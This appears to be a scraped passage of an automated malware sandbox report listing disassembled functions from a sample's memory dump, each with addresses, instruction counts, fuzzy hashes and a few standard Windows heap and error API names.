Opcode Fuzzy Hash: 7b92824c244248fa0c54466571ceda96fe47a8a71a3eac57a03e6d23568c176a
Instruction Fuzzy Hash: A1A14762B1A7C686EB21CF25A4017A97BD1EB54785F048131EFCE87785EE3DE802C710

Function 00007FF6C78706DC Relevance: 1.5, Strings: 1, Instructions: 250COMMON

Download Yara Rule

Strings

, xrefs: 00007FF6C78708E6

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 0c5780010ff21e7503fe941d5d2f8ea48bee198d012d5288911bac90ed3c7dfe
Instruction ID: 0c89c03f28e749db66b35457536d2f7088af1e6e292a59666385cea5dcf7a800
Opcode Fuzzy Hash: 0c5780010ff21e7503fe941d5d2f8ea48bee198d012d5288911bac90ed3c7dfe
Instruction Fuzzy Hash: 8DB17D72B0A78585E7688F29C49423D3FA4EB49B49F185136EBCE87399DF39D440C790

Function 00007FF6C7870A74 Relevance: 1.5, Strings: 1, Instructions: 247COMMON

Download Yara Rule

Strings

, xrefs: 00007FF6C7870C50

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 714b68fe2620ee96a3bd8277b64e6546650eee178ae9d5267a683c2b633430fb
Instruction ID: bd2540ad4f77c13441aa8dc79241c8490231391ac2c4d6bb54af8b5aa5239eb6
Opcode Fuzzy Hash: 714b68fe2620ee96a3bd8277b64e6546650eee178ae9d5267a683c2b633430fb
Instruction Fuzzy Hash: 4DB18F72A0AB8585E7A48F29C09427D3FA4F749B59F244235EBCF87399CF29E441C705

Function 00007FF6C78821FC Relevance: 1.4, APIs: 1, Instructions: 137COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6C78822A1

Part of subcall function 00007FF6C787B160: RtlAllocateHeap.NTDLL ref: 00007FF6C787B1B5

Part of subcall function 00007FF6C787B1D8: HeapFree.KERNEL32 ref: 00007FF6C787B1EE
Part of subcall function 00007FF6C787B1D8: GetLastError.KERNEL32 ref: 00007FF6C787B1F8

Part of subcall function 00007FF6C788B158: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6C788B18B

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ErrorHeapLast$AllocateFree_invalid_parameter_noinfo
String ID:
API String ID: 3806578645-0
Opcode ID: ae01cbcd46e19b36510d225b801d78826d1529799777167f2fa8e52c2dc5adf5
Instruction ID: adb8f622d29cc600aeff94b3290a4a7dcacf4be9bd767c1b50d1dc42d00247db
Opcode Fuzzy Hash: ae01cbcd46e19b36510d225b801d78826d1529799777167f2fa8e52c2dc5adf5
Instruction Fuzzy Hash: E541A821B0B64341EB705F26A86177AAEC1AF85B81F048136EFCDC7796DE3CE4018710

Function 00007FF6C7887C50 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6C7887C54

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 34511f05812659aca80c40ff535f0d595d486bdab35c799d1182ddd21eab9e16
Instruction ID: 63280269d6bc3a27b8ae257e5cc5feae976768d92348ac1dd694a9eec5acea9c
Opcode Fuzzy Hash: 34511f05812659aca80c40ff535f0d595d486bdab35c799d1182ddd21eab9e16
Instruction Fuzzy Hash: CAB09220E07B06C2EA882F116C8A21826A46F98722F984038C28DA0360DE2C21E95700

Function 00007FF6C7871590 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16955a122a9e005663b3afd89ce6baf410ecafda8987445e36ab57d46c26df13
Instruction ID: 105d6b184a422373b8bde3f88dbfddedf78ef8958b6d9c68a4db0b86dedf34b9
Opcode Fuzzy Hash: 16955a122a9e005663b3afd89ce6baf410ecafda8987445e36ab57d46c26df13
Instruction Fuzzy Hash: 58E1A472F1A60285E7648F28815537D2BA1EB85BD5F188235EB8E87AD9CF39E841C701

Function 00007FF6C7876220 Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aec7d81a3673badfc3b512a10430379540f1816e81dafed119dde0860a61ae1c
Instruction ID: 17a51cfc07ff8e0660dc9602485f80d361528aca65e3c09ee8a83043c49f664b
Opcode Fuzzy Hash: aec7d81a3673badfc3b512a10430379540f1816e81dafed119dde0860a61ae1c
Instruction Fuzzy Hash: 62C1F872B1A68687DB24CF15A04466ABBA1F794B85F448135EB8F87788DF3DE901CB40

Function 00007FF6C78719C8 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ca0767a17655b13b9f5db8ae47134aea554f7ca8038bb3b92b9f59afb9357b9
Instruction ID: 87cb6f5ee75823c88ae1a0b3cdb43623068de30a99989d5eaccc5071c3fcb90c
Opcode Fuzzy Hash: 9ca0767a17655b13b9f5db8ae47134aea554f7ca8038bb3b92b9f59afb9357b9
Instruction Fuzzy Hash: A2D1C422F0A64286EB688F29844427D6FA0EF85B99F144235EF8F87AD5DF3DD841D740

Function 00007FF6C78781D8 Relevance: .3, Instructions: 309COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodePageValidValue_invalid_parameter_noinfo
String ID:
API String ID: 4023145424-0
Opcode ID: ab1a2c5c2f62adfe3e53c833f0d0289fd4dcdd9aa12b4f0d1c5d3d0eaff075e1
Instruction ID: 22ade38ca21a18a88dd5081b78c7e2167428e4771952d6b35fcd44edc80597d2
Opcode Fuzzy Hash: ab1a2c5c2f62adfe3e53c833f0d0289fd4dcdd9aa12b4f0d1c5d3d0eaff075e1
Instruction Fuzzy Hash: 05C1A426B0A68285EB609F6694107BE6BA1FB94B89F804035FFCEC7A95DF3CD545C700

Function 00007FF6C7886940 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast$Value_invalid_parameter_noinfo
String ID:
API String ID: 1500699246-0
Opcode ID: a65661641ffaa2a86b6875976da8f6003a378e863b50ef12173faae0db48d599
Instruction ID: d057e4c1fd7da55c8177febfa3f990bbf52bfb0705cfe92a8571418307d05b6e
Opcode Fuzzy Hash: a65661641ffaa2a86b6875976da8f6003a378e863b50ef12173faae0db48d599
Instruction Fuzzy Hash: A1B1E332B1A64682EB649F21D4116B93BA1FB80B9AF008136DB9DC77CADF7CE541C340

Function 00007FF6C7874D28 Relevance: .2, Instructions: 207COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0da7f92bae012dd11df3e11556849a889c26704c2b4ba3f91171b478ea459a7
Instruction ID: 8693a30ee1f9124bc46c274833e1907a7775f467df65df6aea675869a7dbb728
Opcode Fuzzy Hash: d0da7f92bae012dd11df3e11556849a889c26704c2b4ba3f91171b478ea459a7
Instruction Fuzzy Hash: 88817D32B06A5186EB64CF25D49537D2BA1FB84BA9F544636FFAE87794CF38D0418300

Function 00007FF6C787DBB4 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53add2fc6bebfcf2482bc093d0e7072bc3164db2d9e265f531c1659dc61df0a1
Instruction ID: fed25c5fa5396f07e0853d6b8e7f6b9d68199c7fcfe78f00ec8eabb1f89a366a
Opcode Fuzzy Hash: 53add2fc6bebfcf2482bc093d0e7072bc3164db2d9e265f531c1659dc61df0a1
Instruction Fuzzy Hash: 9481D172B0D78186E7A48F19948237AAED0FB957A4F144235EBDE87B95CE3DD4408B10

Function 00007FF6C788A6CC Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 20e85ab1b5ab952efb93b0779526bdff8a868b32406485d95a7bf1fd94b1e93c
Instruction ID: 54494f911bbc7deb403ea5aa9d04ae948f32f974a9a0791151332633c434acd5
Opcode Fuzzy Hash: 20e85ab1b5ab952efb93b0779526bdff8a868b32406485d95a7bf1fd94b1e93c
Instruction Fuzzy Hash: D661D422F0E78246F7649F2888447796E91BF40762F19423BE7EDC67C5EE6DE8418702

Function 00007FF6C7890030 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 051df2aa9320ed464b1265f32a23b335f477f8d91c52c0dd94ff4d204050c252
Instruction ID: 185bf9852e21246f559b6a2a3372121b7f7abb67f92e97e5e787ffa125bcb1f2
Opcode Fuzzy Hash: 051df2aa9320ed464b1265f32a23b335f477f8d91c52c0dd94ff4d204050c252
Instruction Fuzzy Hash: CA51924BD4F5D74AF6E24F280C660682F95EB76A16B4D507BC7C9C72C3ED0F28458212

Function 00007FF6C786F704 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction ID: 14a9a3a558a67567f67f155a8aff6ae3f4b153e8e1883744d6a670c22489c954
Opcode Fuzzy Hash: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction Fuzzy Hash: AD515276A3A65196E7248F29C0442383BA0EB49F59F245131DBCDD7795CF3AEA42C780

Function 00007FF6C786F2F4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction ID: 960ca30b73fc7dcb73807be4cafa4e25f3094e6f6876d74dc003d9bd42c04341
Opcode Fuzzy Hash: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction Fuzzy Hash: 8D518336A3A65192E7248F29D1446383BA0EB45B69F245131CFCDD77A4CF3AEA43C740

Function 00007FF6C786FB14 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction ID: 5f8d48d26f8e43459adc029bd1bed1cecb70f99b3e1927000591d217acc79e4f
Opcode Fuzzy Hash: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction Fuzzy Hash: 1F518376A3AA5192E7248F29C0542383BA1EB45B69F248131CFCDC7794CF3AEA53C740

Function 00007FF6C786F0F0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db363646d287334b7a31293e9082935613ba5dde14aee32d187fc7345eaa1eeb
Instruction ID: ad4390cc5a3cc997ac0ce84c19d28c07665405b03ba58cab934ea40ed72dab19
Opcode Fuzzy Hash: db363646d287334b7a31293e9082935613ba5dde14aee32d187fc7345eaa1eeb
Instruction Fuzzy Hash: B951A176A3A65196E7258F29C0402393BA2EB45F99F244131CB8DD7794CF3AEA43CB40

Function 00007FF6C786F910 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e46230d8c0bb23a9b26f12389beaf27d8e9063d4bba2e4d98de2a57eaa924be5
Instruction ID: fdfe4ee0d6a7ea56f173fd1350f19943f7cf4889bb1c6bc56da8c7939e66a01e
Opcode Fuzzy Hash: e46230d8c0bb23a9b26f12389beaf27d8e9063d4bba2e4d98de2a57eaa924be5
Instruction Fuzzy Hash: 2A518232A3A65196E7248F29D0506287BA0EB49B5EF245131CFCDD7794DF3AE943C740

Function 00007FF6C786F500 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6a3dccb135ddd09f63c505db29ff29986bf9dd63497299e7c799fac6b959aa4
Instruction ID: 1bfc99781b095e8c4ee5b59fbf6ef10b37821678ce2c53688011e0673dffd06b
Opcode Fuzzy Hash: f6a3dccb135ddd09f63c505db29ff29986bf9dd63497299e7c799fac6b959aa4
Instruction Fuzzy Hash: 32518136A3A65196EB248F29D0442783BA1EB45B59F244131CF8DD77A8CF3AEE52C740

Function 00007FF6C78794A0 Relevance: .1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 813dec0fa54715c675ee5cc47bf1963a858e5d8d2b65cbdb6779cf38cdf6def8
Instruction ID: d10e9ddaab94f17e604ba3ce6d518c59d878364b6e6e05216ba4ae9b9fda67d9
Opcode Fuzzy Hash: 813dec0fa54715c675ee5cc47bf1963a858e5d8d2b65cbdb6779cf38cdf6def8
Instruction Fuzzy Hash: 3E41F772716A5582EF04CF6AD954169BBA2FB48FD0B499036EF8EC7B58DE3CD4428300

Function 00007FF6C785D350 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
